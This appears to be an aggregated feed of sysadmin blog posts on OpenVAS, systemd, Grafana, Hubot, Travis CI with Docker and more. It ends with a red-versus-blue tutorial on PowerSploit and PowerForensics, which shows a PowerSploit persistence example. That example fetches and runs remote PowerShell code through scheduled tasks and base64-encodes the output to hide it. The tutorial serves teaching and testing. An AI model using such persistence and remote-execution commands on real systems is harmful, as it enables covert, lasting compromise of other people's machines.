lib  serv:WARNING:2016-01-19 15h52.22 utc:21775:    Failed to gnutls_bye: GnuTLS internal error.
lib auth:   INFO:2016-01-19 15h53.56 utc:25472: Authentication configuration not found.

Turns out the libgnutls library was updated and it turned off support for downgrading signature algorithms.

If you got your Openvas installation from the Mrazavi Launchpad source, you can fix the problem by simply updating and upgrading:

sudo apt-get update && sudo apt-get upgrade

by admin at January 20, 2016 11:18 AM

January 19, 2016


Lt Gen David Deptula on Desert Storm and Islamic State

This weekend Vago Muradian interviewed Lt Gen (ret) David Deptula, most famous for his involvement as a key planner for the Desert Storm air campaign.

I recommend watching the entire video, which is less than 8 minutes long. Three aspects caught my attention. I will share them here.

First, Lt Gen Deptula said that Desert Storm introduced five changes to the character of warfare. I noted that he used the term "character," and not "nature." If you are a student of warfare and/or strategy, you are most likely in the camp that says warfare has an unchanging nature, although its character can change. This is the Clausewitz legacy. A minority camp argues that warfare can change both nature and character.

Second, turning to the five changes introduced by Desert Storm, Lt Gen Deptula listed the following.

1. Desert Storm introduced "expectations of low casualties, for both sides." I agree with the expectation of low casualties for the US, but I don't think low Iraqi casualties were a primary concern. One could argue that stopping the war during the "highway of death" showed the US didn't want to inflict large casualties on the Iraqi forces, but I still think low casualties were primarily a concern for US troops.

2. Desert Storm "normalized precision." Even though a minority of the ordnance delivered during the war were precision weapons, their use steadily increased throughout all later conflicts.

3. Desert Storm introduced joint and combined organization and execution. This was indeed quite a step forward, although I recall reading that that USMC airpower took measures to remain as separate as possible.

4. Desert Storm put the concepts of "effect-based operations" into action. There is no doubt about this one. Lt Gen Deptula talks about a disagreement with Gen Schwartzkopf's staff concerning disabling the Iraqi power grid. Air power achieved the effect of disabling the grid within 3-4 days, but Schwartzkopf's team used traditional attritional models, noting that less than a certain percentage of destruction mean mission failure. Deptula was right; they were wrong.

5. Desert Storm was the first major conflict where airpower was the centerpiece and key force. Call me biased, and no disrespect to the land forces in the Gulf, but I agree with this one.

The third and final noteworthy element of the interview involved Lt Gen Deptula's opinion of Islamic State. He said "it's not an insurgency. IS is a state." He said IS possesses the five elements of a state, namely:

1. Leadership
2. Key essential systems
3. Infrastructure
4. Population
5. Fielded military forces

I agree with his assessment. I also believe that Western leaders are unwilling to grant IS the legitimacy of it being a state, so they persist in calling IS names like ISIS, ISIL, Daesh, and so on. I see no problem with that approach, since it incorporates political sensitivities. However, that approach also aggravates the perception that Western leaders are out of touch with reality.

by Richard Bejtlich ( at January 19, 2016 07:02 PM

Evaggelos Balaskas

sourceforge & subscriptions

I am not trying to resolv this issue, I have lost any faith on sourceforge a long time ago.

Although, it is sad. Once, if you wanted to download free software for your linux machine, SF was the place to be.

Nowadays the site is awful. You cant even browse the site if you dont use an ad-blocker.

It is chaotic with all these features and extremely painful if you actually try to do something, even if it is the simplest thing like changing your email address.

This post is just a personal rant about SF subscriptions and nothing more.

I have changed my email address on sourceforge for about a year now. Still I am getting subscription notifies from projects to my previous (deprecated) mail address:


…. so …. yes …

by clicking on the “Manage your subscriptions” link on the bottom of the notify email:
seems that I dont have any project subscriptions !


And that’s not even the big issue here, cause I do want to get notifies whenever SystemRescueCD do updates.

The big issue, for me at least, is when I tried to subscribe on SystemRescueCD (thinking that at least now the notifies will come to my new email address):


If you missed it, the problem is with this quote below:

sponsored content from our select partners, and more

sourceforge simple dont get it !

Tag(s): sourceforge

January 19, 2016 08:49 AM

Sarah Allen

culture change facilitated by software

In the 1980s, personal computers fueled a desktop publishing revolution. Software let people create documents with powerful flexibility from their desktops. Yet before these creations could have impact on the real world, they had to be printed on paper, magnetic tape or film. The Internet connected only the scientists and hackers — the majority of computers were isolated with software transmitted on physical disks.

hands on keyboard in sunlight The Internet began as a communications medium: a way to send messages across networks. The need for human-to-human communication across institutional boundaries led to standardization of a resilient messaging protocol (TCP/IP) in the 1970s. By the mid 1990s, email was common, but not universal; the web popularized the Internet as a new publications platform. Initially technical papers were linked across dozens, then hundreds of computers. Then, digital retail brochures dominated the landscape and billboard sported web addresses for the first time.

Blogging started as a simple way to update web pages using date-stamped content. The format became standardized with software that helped people write in a way that they had been writing online for a decade, and on paper for centuries. I started this blog in 2002, and I remember when SixApart introduced a new feature that connected blog posts to each other, establishing patterns for readers as well as authors. “Trackbacks” allowed me to easily see who linked to a post I had written, and for the first time, I experienced a social network forming through interactions fostered asynchronously by words written, read and referred to. It felt like a new digital realm.

Now we have so many ways to self-publish, to reach audiences instantaneously across the world, to find the people who want to hear what we have to say. We’re still empowering a subset of the population: young, urban, wealthy, educated Americans are much more likely to use the internet (according to a 2015 Pew Research Report). It is no surprise that the 15% not yet online are not evenly distributed. Nevertheless, this new generation has emerged who feel entitled to a voice. In this online realm that is as imperfect, biased, and broken as the physical world, we have created the potential for a new kind of democracy, where we can choose the voices who represent us through following and sharing.

For the past year, I’ve been working on a small social network focused on culture change within the US government: Open Opportunities is a deceptively simple system allowing federal employees to post projects that other employees can sign up to work on for their own professional development. We’re mirroring actual collaboration that happens (rarely) in the real world by people who have well-developed networks, allowing them to find and collaborate with others across this huge organization with 2.7M employees. Participation requires supervisor approval, yet we allow the individual to confirm rather than requiring a byzantine series of forms that is more typical for government software. Federal employees are already held to high standards for ethics and must be responsible and knowledgeable about the legal implications of their actions, which allows us to instill a respect for individual responsibility into the design of the software service. Less software can sometimes offer more power as we seek to facilitate interactions that take place outside of software, empowering people to create impact in the real world.

As software designers and developers, it is our opportunity and responsibility to create a medium that will amplify the best of us and moderate the forces that threaten to tear apart our society. In the private sector, Twitter, Facebook, Instagram, Tumblr, Reddit, Imgur, Pinteret, Medium, Github and others provide new capabilities for communication and social interaction. Software design influences the way we interact, creating emergent behavior that is changing our culture.

In 1961, Dr. Martin Luther King, Jr. noted that “we have allowed our civilization to outdistance our culture.” I think our culture might just be starting to catch up, now that our technology is starting to reach a wider spectrum of the population. His call-to-action when jet planes were new is even more urgent in today’s globally connected society:

Through our scientific genius we have made this world a neighborhood; now through our moral and spiritual development, we must make of it a brotherhood. In a real sense, we must all learn to live together as brothers, or we will all perish together as fools.

The post culture change facilitated by software appeared first on the evolving ultrasaurus.

by sarah at January 19, 2016 07:14 AM

January 18, 2016

Next generation configuration mgmt

I’ll be giving an ignite talk at Config Management Camp this year: “the three legs of modern configuration management (…or maybe four)”. James has definitely made a big step in that direction. I recommend you read his blog post and, if you are coming to the conference, attend both his talk and my ignite talk. Who knows, maybe you are really watching the dawn of the next generation of configuration management!!!

The Technical Blog of James

It’s no secret to the readers of this blog that I’ve been active in the configuration management space for some time. I owe most of my knowledge to what I’ve learned while working with Puppet and from other hackers working in and around various other communities.

I’ve published, a number, of articles, in an, attempt, to push, the field, forwards, and to, share the, knowledge, that I’ve, learned, with others. I’ve spent many nights thinking about these problems, but it is not without some chagrin that I realized that the current state-of-the-art in configuration management cannot easily (or elegantly) solve all the problems for which I wish to write solutions.

To that end, I’d like to formally present my idea (and code) for a next generation configuration management prototype. I’m calling my tool mgmt.


View original post 3,738 more words

by bronto at January 18, 2016 12:20 PM

January 17, 2016

systemd unit files for CFEngine

systemd logoLearning more of systemd has been on my agenda since the release of Debian 8 “Jessie”. With the new year I decided that I had procrastinated enough, I made a plan and started to study according to the plan. Today it was time for action: to verify my understanding of the documentation I read up to now, I decided to put together unit files for CFEngine. It was an almost complete success and the result is now on GitHub for everyone to enjoy. I would appreciate if you’d give them a shot and report back.

Main goals achieved:

  1. I successfully created three service unit files, one for each of CFEngine’s daemons: cf-serverd, cf-execd and cf-monitord; the units are designed so that if any of the daemon is killed for any reason, systemd will bring it back immediately.
  2. I successfully created a target unit file that puts together the three service units. When the cfengine3 target is started, the three daemons are requested to start; when the cfengine3 target is stopped, the three daemons are stopped. The cfengine3 target completely replaces the init script functionality.

Goal not achieved: I’ve given a shot at socket activation, so that the activation of cf-serverd was delayed until a connection was initiated to port 5308/TCP. That didn’t work properly: systemd tried to start cf-serverd but it died immediately, and systemd tried and tried again until it was too much. I’ll have to investigate if cf-serverd needs to support socket activation explicitly or if I was doing something wrong. The socket unit is not part of the distribution on GitHub but its content are reported here below. In case you spot any problem please let me know.

Description=Socket for CFEngine file server daemon


Tagged: cfengine, Debian, Github, linux, Sysadmin, systemd

by bronto at January 17, 2016 08:48 PM

Ansible playbook for GoAccess Log Analyzer

This is a small Ansible playbook to deploy the GoAccess log analyzer on Debian based systems. Next to Piwik, I use goaccess myself to get better insights in who and what visits my servers. This role is ment to be included in your webserver playbooks.

January 17, 2016 12:00 AM

January 15, 2016

LZone - Sysadmin

Providing Links into Grafana Templates

As a Grafana user it is not obvious how to share links of template based dashboards.

Grafana does not change the request URI to reflect template variables you might enter (e.g. the server name).


There is a hidden feature: you can pass all template values via URL parameters in the following syntax
var-<parameter name>=<value>
Example link:

January 15, 2016 02:41 PM

January 14, 2016

Debian Administration

Performing IMAP queries via curl

Most people are familiar with curl, the tool that allows you to make HTTP-requests, and FTP-requests, via the command-line. Recently it gained the ability to perform IMAP operations, and this brief article demonstrates how that is done.

by Steve at January 14, 2016 08:27 AM

January 13, 2016

LZone - Sysadmin

Hubot Setup Problems

When setting up Hubot you can run into
Error: EACCES, permission denied '/home/xyz/.config/configstore/insight-yo.yml'
when installing Hubot with yeoman (check out Github #1292).

The solution is simple:
  • Do not install the NPM modules globally
  • Or properly use sudo when installing

January 13, 2016 09:56 PM

Recent Node.js with Hubot Hipchat Adapter

Today I had a strange issue when setting up Hubot with Hipchat according to the installation instructions from hubot-hipchat.

The build with
yo hubot --adapter hipchat
fails because it downloads the most recent hubot-hipchat NPM package 2.12.0 and then tries to extract 2.7.5 which of course fails.

The simple workaround is
  • To patch the package.json of the partial installation and add and explicit hubot-hipchat require for 2.12.0.
  • Rerun the "yo" command and say no when being asked to overwrite package.json

January 13, 2016 09:55 PM

January 12, 2016

Ansible-cmdb v1.11: Generate a host overview of Ansible facts.

I've just released ansible-cmdb v1.11. Ansible-cmdb takes the output of Ansible's fact gathering and converts it into a static HTML overview page containing system configuration information. It supports multiple templates and extending information gathered by Ansible with custom data.

This release includes the following bugfixes and feature improvements:

  • Source package improvements in man page handling (Alex Barton)
  • html_fancy template now supports OpenBSD facts.
  • html_fancy template now supports Windows (2008) facts.
  • html_fancy template now shows a link icon instead of a star for the search box URL.
  • Improved error reporting and debugging mode (-d).

Get the new release from the Github releases page.

    by admin at January 12, 2016 01:00 PM

    January 11, 2016

    Carl Chenet

    Extend your Twitter network with Retweet

    Retweet is self-hosted app coded in Python 3 allowing to retweet all the statuses from a given Twitter account to another one. Lots of filters can be used to retweet only tweets matching given criterias.

    Retweet 0.8 is available on the PyPI repository and is already in the official Debian unstable repository.

    Retweet is in production already for Le Journal Du hacker , a French FOSS community website to share and relay news and , a job board for the French-speaking FOSS community.



    The new features of the 0.8 allow Retweet to manage the tweets given how old they are, retweeting only if :

    • they are older than a user-specified duration with the parameter older_than
    • they are younger than a user-specified duration with the parameter younger_than

    Retweet is extensively documented, have a look at the official documentation to understand how to install it, configure it and use it.

    What about you? does Retweet allow you to develop your Twitter account? Let your comments in this article.

    by Carl Chenet at January 11, 2016 11:00 PM


    Using Travis CI to test Docker builds

    In last months article we discussed "Dockerizing" this blog. What I left out from that article was how I also used Docker Hub's automatic builds functionality to automatically create a new image every time changes are made to the GitHub Repository which contains the source for this blog.

    The automatic builds are useful because I can simply make changes to the code or articles within the repository and once pushed, those changes trigger Docker Hub to build an image using the Dockerfile we created in the previous article. As an extra benefit the Docker image will also be available via Docker Hub, which means any system with Docker installed can deploy the latest version by simply executing docker run -d madflojo/blog.

    The only gotcha is; what happens if those changes break things? What if a change prevents the build from occurring, or worse prevents the static site generator from correctly generating pages. What I need is a way to know if changes are going to cause issues or not before they are merged to the master branch of the repository; deploying those changes to production.

    To do this, we can utilize Continuous Integration principles and tools.

    What is Continuous Integration

    Continuous Integration or CI, is something that has existed in the software development world for a while but it has gained more following in the operations world recently. The idea of CI came up to address the problem of multiple developers creating integration problems within the same code base. Basically, two developers working on the same code creating conflicts and not finding those conflicts until much later.

    The basic rule goes, the later you find issues within code the more expensive (time and money) it is to fix those issues. The idea to solve this is for developers to commit their code into source control often, multiple times a day even. With code commits being pushed frequently this reduces the opportunity for code integration problems, and when they do happen it is often a lot easier to fix.

    However, code commits multiple times a day by itself doesn't solve integration issues. There also needs to be a way to ensure the code being committed is quality code and works. This brings us to another concept of CI, where every time code is committed, the code is built and tested automatically.

    In the case of this blog, the build would consist of building a Docker image, and testing would consist of some various tests I've written to ensure the code that powers this blog is working appropriately. To perform these automated builds and test executions we need a tool that can detect when changes happen, and perform the necessary steps; we need a tool like Travis CI.

    Travis CI

    Travis CI is a Continuous Integration tool that integrates with GitHub and performs automated build and test actions. It is also free for public GitHub repositories, like this blog for instance.

    In this article I am going to walk through configuring Travis CI to automatically build and test the Docker image being generated for this blog. Which, will give you (the reader) the basics of how to use Travis CI to test your own Docker builds.

    Automating a Docker build with Travis CI

    This post is going to assume that we have already signed up for Travis CI and connected it to our public repository. This process is fairly straight forward, as it is part of Travis CI's on-boarding flow. If you find yourself needing a good walk through, Travis CI does have a getting started guide.

    Since we will be testing our builds and do not wish to impact the main master branch the first thing we are going to do is create a new git branch to work with.

    $ git checkout -b building-docker-with-travis

    As we make changes to this branch we can push the contents to GitHub under the same branch name and validate the status of Travis CI builds without those changes going into the master branch.

    Configuring Travis CI

    Within our new branch we will create a .travis.yml file. This file essentially contains configuration and instructions for Travis CI. Within this file we will be able to tell Travis CI what languages and services we need for the build environment as well as the instructions for performing the build.

    Defining the build environment

    Before starting any build steps we first need to define what the build environment should look like. For example, since the hamerkop application and associated testing scripts are written in Python, we will need Python installed within this build environment.

    While we could install Python with a few apt-get commands, since Python is the only language we need within this environment it's better to define it as the base language using the language: python parameter within the .travis.yml file.

    language: python
      - 2.7
      - 3.5

    The above configuration informs Travis CI to set the build environment to a Python environment; specifically for Python versions 2.7 and 3.5 to be installed and supported.

    The syntax used above is in YAML format, which is a fairly popular configuration format. In the above we are essentially defining the language parameter as python and setting the python parameter to a list of versions 2.7 and 3.5. If we wanted to add additional versions it is as simple as appending that version to this list; such as in the example below.

    language: python
      - 2.7
      - 3.2
      - 3.5

    In the above we simply added version 3.2 by adding it to the list.

    Required services

    As we will be building a Docker image we will also need Docker installed and the Docker service running within our build environment. We can accomplish this by using the services parameter to tell Travis CI to install Docker and start the service.

      - docker

    Like the python parameter the services parameter is a list of services to be started within our environment. As such that means we can also include additional services by appending to the list. If we needed Docker and Redis for example we can simply append the line after specifying the Docker service.

      - docker
      - redis-server

    In this example we do not require any service other than Docker, however it is useful to know that Travis CI has quite a few services available.

    Performing the build

    Now that we have defined the build environment we want, we can execute the build steps. Since we wish to validate a Docker build we essentially need to perform two steps, building a Docker container image and starting a container based on that image.

    We can perform these steps by simply specifying the same docker commands we used in the previous article.

      - docker build -t blog .
      - docker run -d -p --name blog blog

    In the above we can see that the two docker commands are specified under the install parameter. This parameter is actually a defined build step for Travis CI.

    Travis CI has multiple predefined steps used during builds which can be called out via the .travis.yml file. In the above we are defining that these two docker commands are the steps necessary to install this application.

    Testing the build

    Travis CI is not just a simple build tool, it is a Continuous Integration tool which means its primary function is testing. Which means we need to add a test to our build; for now we can simply verify that the Docker container is in running, which can be performed by a simple docker ps command.

      - docker ps | grep -q blog

    In the above we defined our basic test using the script parameter. This is yet another build step which is used to call test cases. The script step is a required step, if omitted the build will fail.

    Pushing to GitHub

    With the steps above defined we now have a minimal build that we can send to Travis CI; to accomplish this, we simply push our changes to GitHub.

    $ git add .travis.yml 
    $ git commit -m "Adding docker build steps to Travis"
    [building-docker-with-travis 2ad7a43] Adding docker build steps to Travis
     1 file changed, 10 insertions(+), 32 deletions(-)
     rewrite .travis.yml (72%)
    $ git push origin building-docker-with-travis

    During the sign up process for Travis CI, you are asked to link your repositories with Travis CI. This allows it to monitor the repository for any changes. When changes occur, Travis CI will automatically pull down those changes and execute the steps defined within the .travis.yml file. Which in this case, means executing our Docker build and verifying it worked.

    As we just pushed new changes to our repository, Travis CI should have detected those changes. We can go to Travis CI to verify whether those changes resulted in a successful build or not.

    Travis CI, will show a build log for every build, at the end of the log for this specific build we can see that the build was successful.

    Removing intermediate container c991de57cced
    Successfully built 45e8fb68a440
    $ docker run -d -p --name blog blog
    $ docker ps | grep -q blog
    The command "docker ps | grep -q blog" exited with 0.
    Done. Your build exited with 0.

    One important thing to know about Travis CI is that most build steps require commands to execute successfully in order for the build to be marked as successful.

    The script and install steps are two examples of this, if any of our commands failed and did not return a 0 exit code than the whole build would be marked as failed.

    If this happens during the install step, the build will be stopped at the exact step that failed. With the script step however, the build will not be stopped. The idea behind this is that if an install step fails, the build will absolutely not work. However, if a single test case fails only a portion is broken. By showing all testing results users will be able to identify what is broken vs. what is working as expected.

    Adding additional tests

    While we now have Travis CI able to verify the Docker build is successful, there are still other ways we could inadvertently break this blog. For example, we could make a change that prevents the static site generator from properly generating pages, this would break the site within the container but not necessarily the container itself. To prevent a scenario like this, we can introduce some additional testing.

    Within our repository there is a directory called tests, this directory contains three more directories; unit, integration and functional. These directories contain various automated tests for this environment. The first two types of tests unit and integration are designed to specifically test the code within the application. While useful, these tests are not going to help test the Docker container. However, the last directory functional, contains automated tests that can be used to test the running Docker container.

    $ ls -la tests/functional/
    total 24
    drwxr-xr-x 1 vagrant vagrant  272 Jan  1 03:22 .
    drwxr-xr-x 1 vagrant vagrant  170 Dec 31 22:11 ..
    -rw-r--r-- 1 vagrant vagrant 2236 Jan  1 03:02
    -rw-r--r-- 1 vagrant vagrant 2155 Jan  1 03:22
    -rw-r--r-- 1 vagrant vagrant 1072 Jan  1 03:13

    These tests are designed to connect to the running Docker container and validate the static site's content.

    For example will crawl the website being served by the Docker container and check the HTTP status code returned when requesting each page. If the return code is anything but 200 OK the test will fail. The test will also crawl the site and validate the content returned matches a certain pattern. If it does not, then again these tests will fail.

    What is useful about these tests is that, even though the static site is running within a Docker container we are still able to test the site functionality. If we were to add these tests to the Travis CI configuration, they would also be executed for every code change; providing even more confidence about each change being made.

    Installing test requirements in before_script

    To run these tests via Travis CI we will simply need to add them to the script section as we did with the docker ps command. However, before they can be executed these tests require several Python libraries to be installed. To install these libraries we can add the installation steps into the before_script build step.

      - pip install -r requirements.txt
      - pip install mock
      - pip install requests
      - pip install feedparser

    The before_script build step is performed before the script step but after the install step. Making before_script the perfect location for steps that are required for script commands but not part of the overall installation. Since the before_script step is not executing test cases like the install step, it too requires all commands to succeed before moving to the script build step. If a command within the before_script build step fails, the build will be stopped.

    Running additional tests

    With the required Python libraries installed we can add the test execution to the script build step.

      - docker ps | grep -q blog
      - python

    These tests can be launched by executing, which will run all 3 automated tests; unit, integration and functional.

    Testing the build again

    With the tests added we can once again push our changes to GitHub.

    $ git add .travis.yml
    $ git commit -m "Adding execution"
    [building-docker-with-travis 99c4587] Adding execution
     1 file changed, 14 insertions(+)
    $ git push origin building-docker-with-travis

    After pushing our updates to the repository we can sit back and wait for Travis to build and test our application.

    Test Runner: Functional tests
    runTest (test_rss.VerifyRSS)
    Execute recursive request ... ok
    runTest (test_broken_links.CrawlSite)
    Execute recursive request ... ok
    runTest (test_content.CrawlSite)
    Execute recursive request ... ok
    Ran 3 tests in 0.768s

    Once the build completes we will see the above message in the build log, showing that Travis CI has in fact executed our tests.


    With our builds successfully processing let's take a final look at our .travis.yml file.

    language: python
      - 2.7
      - docker
      - docker build -t blog .
      - docker run -d -p --name blog blog
      - pip install -r requirements.txt
      - pip install mock
      - pip install requests
      - pip install feedparser
      - docker ps | grep -q blog
      - python

    In the above we can see our Travis CI configuration consists of 3 build steps; install, before_script and script. The install step is used to build and start our Docker container. The before_script step is simply used to install required libraries for test scripts and the script step is used to execute our test scripts.

    Overall, this setup is pretty simple and something we could test manually outside of Travis CI. The benefit of having Travis CI though is that all of these steps are performed for every change, no matter how minor they are.

    Also since we are using GitHub, this means Travis CI will append build status notifications on every pull request as well, like this one for example. With these types of notifications I can merge pull requests into the master branch with the confidence that they will not break production.

    Building a Continuous Integration and Deployment pipeline

    In last months article we explored using Docker to package and distribute the application running this blog. In this article, we have discussed leveraging Travis CI to automatically build that Docker image as well as performing functional tests against it.

    In next months article, we are going to take this setup one step further by automatically deploying these changes to multiple servers using SaltStack. By the end of the next article we will have a full Continuous Integration and Deployment work-flow defined which will allow changes to be tested and deployed to production without human interaction.

    Posted by Benjamin Cane

    January 11, 2016 07:00 AM


    Internet of Patches

    This is a good recommendation:

    As a sysadmin, I've been saying fuckno to things like Smart TVs and fridges. I do that game professionally, and I know what it takes to keep a fleet of software up to date. It ain't easy. Keeping firmware updated in things like... non-Nest internet attached thermostats (yes, they exist), the PC embedded in the fridge, the hub that runs your smart lighting, the firmware in your BluRay player, internet-attached talking dog toys... It's hard. And it only takes one for Evil People to get inside your crunchy exterior and chow down on everything else.

    You can probably trust a company like Schlage to treat their software like a security-critical component of a network. You probably can't say the same about the internet-attached talking dog toy, even though they're likely on the same subnet. The same subnet as all of your iPads, MacBooks, and phones. Segmenting the network makes it harder for evil coming in on the, shall we say, vendor supported side from the more routine evils faced by general web-browsing.

    Not that segmenting is easy to do, unfortunately.

    by SysAdmin1138 at January 11, 2016 01:57 AM

    January 10, 2016

    Carl Chenet

    Feed2tweet 0.2: power of the command line sending your Feed RSS to Twitter

    Feed2tweet is a self-hosted Python app to send you RSS feed to Twitter. A long descriptions about why and how to use it is available in my last post about it.

    Feed2tweet is in production for Le Journal du hacker, a French Hacker News-style FOSS website.


    Feed2tweet 0.2 brings a lot of new command line options, contributed by Antoine Beaupré @theanarcat. Taking a short extract of the Feed2tweet 0.2 changelog:


    • new command line option -r or –dry-run to simulate execution of Feed2tweet
    • new command line option -d or –debug to increase verbosity of the execution of Feed2tweet
    • new command line option -v or –verbose to follow the execution of Feed2tweet
    • new command line option –cachefile to get the path of the cache file
    • new command line option –hashtaglist to get the path of the hash tag composed by multiple words
    • new command line option -r or –rss to get the uri of the RSS feed


    Lots of issues from the previous project was also fixed.

    Using Feed2tweet? Send us bug reports/feature requests/push requests/comments about it!

    by Carl Chenet at January 10, 2016 11:00 PM

    Colin Percival

    FreeBSD on EdgeRouter Lite - no serial port required

    I recently bought an EdgeRouter Lite to use as a network gateway; I had been using a cheap consumer wifi/NAT device, but I wanted the extra control I could get by running FreeBSD rather than whatever mangled version of Linux the device came with. Someone wrote instructions on installing FreeBSD onto the EdgeRouter Lite two years ago, but they rely on using the serial port to reconfigure the boot loader — perfectly straightforward if you have a serial cable and know what you're doing, but I decided to take the opportunity to provide a more streamlined process.

    January 10, 2016 04:20 AM

    January 08, 2016

    Carl Chenet

    My Free Activities in December 2015

    I was quite busy in December 2015, especially with my new Python projects related to automatize Twitter actions. Have a look at my Github home for more information !

    1. Personal projects

    2. Journal du hacker

    That’s all folks! See you next month!

    by Carl Chenet at January 08, 2016 05:30 PM


    Native Puppet 4 Data in Modules

    Back in August 2012 I requested an enhancement to the general data landscape of Puppet and a natural progression on the design of Hiera to enable it to be used in modules that are shared outside of your own environments. I called this Data in Modules. There was lots of community interest in this but not much movement, eventually I made a working POC that I released in December 2013.

    The basic idea around the feature is that we want to be able to use Hiera to model internal data found in modules as well as site specific data and that these 2 sets of data coexist and compliment each other. Full details of this can be found in my post titled Better Puppet Modules Using Hiera Data and some more background can be found in The problem with params.pp. These posts are a bit old now and some things have moved on but they’re good background reading.

    It’s taken a while but as part of the Puppet 4 rework effort the data ingesting mechanisms have also been rewritten in finally in Puppet 4.3.0 native data in modules have arrived. The original Jira for this is 4474. It’s really pretty close to what I had in mind in my proposals and my POC and I am really happy with this. Along the way a new function called lookup() have been introduced to replace the old collection of hiera(), hiera_array() and hiera_hash().

    The official docs for this feature can be found at the Puppet Labs Docs site. Here I’ll more or less just take my previous NTP example and show how you could use the new Data in Modules to simplify it as per the above mentioned posts.

    This is the very basic Puppet class we’ll be working with here:

    class ntp (
      String $config,
      String $keys_file
    ) {

    In the past these variables would have needed to interact with the params.pp file like $config = $ntp::params::config, but now it’s just a simple class. At this point it’ll not yet use any data in the module, to do that you have to activate it in the metadata.json:

    # ntp/metadata.json
      "data_provider": "hiera"

    At this point Puppet knows you want to use the hiera data in the module. But key to the feature and really the whole reason it exists is because a module needs to be able to specify it’s own hierarchy. Imagine you want to set $keys_file here, you’ll have to be sure the hierarchy in question includes the OS Family and you must have control over that data. In the past with the hierarchy being controlled completely by the site hiera.yaml this was not possible at all and the outcome was that if you wanted to share a module outside of your environment you have to go the params.pp route as that was the only portable solution.

    So now your modules can have their own hiera.yaml. It’s slightly different from the past but should be familiar to past hiera users, it goes in your module so this would be ntp/hiera.yaml:

    version: 4
    datadir: data
      - name: "OS family"
        backend: yaml
        path: "os/%{}"
      - name: "common"
        backend: yaml

    This is the new format for the hiera configuration, it’s more flexible and a future version of hiera will have some changing semantics that’s quite nice over the original design I came up with so you have to use that new format here.

    Here you can see the module has it’s own OS Family tier as well as a common tier. Lets see the ntp/data/common.yaml:

    ntp::config: "/etc/ntp.conf"
    ntp::keys_file: "/etc/ntp.keys"

    These are sane defaults to use for any non specifically supported operating systems.

    Below are examples for AIX and Debian:

    # data/os/AIX.yaml
    ntp::config: "/etc/ntpd.conf"
    # data/os/Debian.yaml
    ntp::keys_file: "/etc/ntp/keys"

    At this point the need for params.pp is gone – at least in this simplistic example – and this data along with the environment specific or site specific data cohabit really nicely. If you specified any of these data items in your site Hiera data your site data will override the module. The advantages of this might not be immediately obvious. I have a very long list of advantages over params.pp in my Better Puppet Modules Using Hiera Data post, be sure to read that for background.

    There’s an alternative approach where you write a Puppet function that returns a hash of data and the data system will fetch the keys from there. This is really powerful and might end up being a interesting solution to something along the lines of a module specific custom hiera backend – but a lighter weight version of that. I might write that up later, this post is already a bit long.

    The remaining problem is to do with data that needs to be merged as traditionally Hiera and Puppet has no idea you want this to happen when you do a basic lookup – hence these annoying hiera_hash() functions etc – , there’s a solution for this and I’ll post a blog post about that next week once the next Puppet 4 release is out and a bug I found that makes it unusable is fixed in that version.

    This feature is a great addition to Puppet and I am really glad to finally see this land. My hacky modules in data code was used quite extensively with 72 000 downloads from the forge but I was never really happy with it and was desperate to see this land natively. This is a big step forward and I hope it sees wide adoption in the community.

    by R.I. Pienaar at January 08, 2016 09:52 AM

    January 05, 2016

    toolsmith #112: Red vs Blue - PowerSploit vs PowerForensics

    Happy New Year and welcome to 2016!
    When last we explored red team versus blue team tactics in May 2015, we utilized Invoke-Mimikatz, then reviewed and analyzed a victim with WinPmem and Rekall. The recent release of PowerSploit 3.0.0 on 18 DEC 2015 presents us with another opportunity to use PowerShell for a red team versus blue team discussion. This time its an all PowerShell scenario, thanks as well to PowerForensics.
    Forget the old Apple pitch line: "There's an app for that." With so much PowerShell love, there's a PowerShell script for that!
    For the uninitiated, a description of each.
    PowerSploit "is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment."
    PowerForensics "is a PowerShell digital forensics framework. It currently supports NTFS and is in the process of adding support for the ext4 file system."
    Both are updated regularly and are GitHub projects subject to your feedback and contributions.
    PowerSploit includes scripts that aid in antimalware bypasses, code execution, exfiltration, persistence, privilege escalation, reconnaissance, script modification, and general mayhem.
    PowerForensics includes scripts the allow analysis of the boot sector, Windows artifacts, the Application Compatibility Cache, Windows Registry, as well as create forensic timelines. There are also Extended File System 4 (ext4) scripts as well as some utilities.

    Credit where due, these two projects include some excellent developers, including Jared Atkinson, who leads PowerForensics but also contributes to PowerSploit. The PowerSploit team also includes Matt Graeber and Joe Bialek, I've admired their work and skill set for years.
    We won't explore it here, but be sure to check out Empire from Will Schroeder, who also contributes to PowerSploit. The topic of a future toolsmith, "Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture."

    Before working through a couple of red vs. blue scenarios, a quick rundown on installation for both tool sets.
    For PowerSploit, use Download Zip from the Github repo, move the zip package to your \Documents\WindowsPowerShell\Modules path under your user directory, unpack it, and rename PowerSploit-master to PowerSploit. From an administrator PowerShell prompt, run Import-Module PowerSploit and follow it with Get-Command -Module PowerSploit to ensure proper import.
    You will definitely want to run $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid the incredibly annoying "Do you really want to run scripts downloaded from the Internet" warning. Yes, I really do.
    For PowerForensics, the routine is similar, however the modules for PowerForensics are buried a bit deeper in the ZIP package. Again, use Download Zip from the Github repo, unpack the ZIP, drill down to \PowerForensics-master\PowerForensics\Module and copy the PowerForensics directory there to your \Documents\WindowsPowerShell\Modules path.
    Issue Get-Module -ListAvailable -Name PowerForensics, them Import-Module PowerForensics. Again, Get-Command -Module PowerForensics will ensure a clean import and show you available modules. Likely worth adding $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerForensics) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid hassles as well.

    Let's begin with my absolute favorite, it is the ultimate in absolute nerd humor and is a force to be reckoned with all by itself. Imagine a red team engagement where you've pwned the entire environment, then you leave the following calling card.
    If you run Get-Help Add-Persistence -examples you will discover the best infosec joke ever, forget just PowerShell. I'll modify Example 2 for our red vs. blue purposes, but the net result is unforgettable. From a PowerShell prompt:

    1. $Rickroll = { iex (iwr ) }
    2. $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
    3. $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
    4. Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\rr.ps1

    Three files are written: Persistence.ps1RemovePersistence.ps1, and rr.ps1 which is EncodedPersistence.ps1 renamed. Inspecting rr.ps1 reveals base64 encoding designed to conceal the 80's musical flashback that follows.
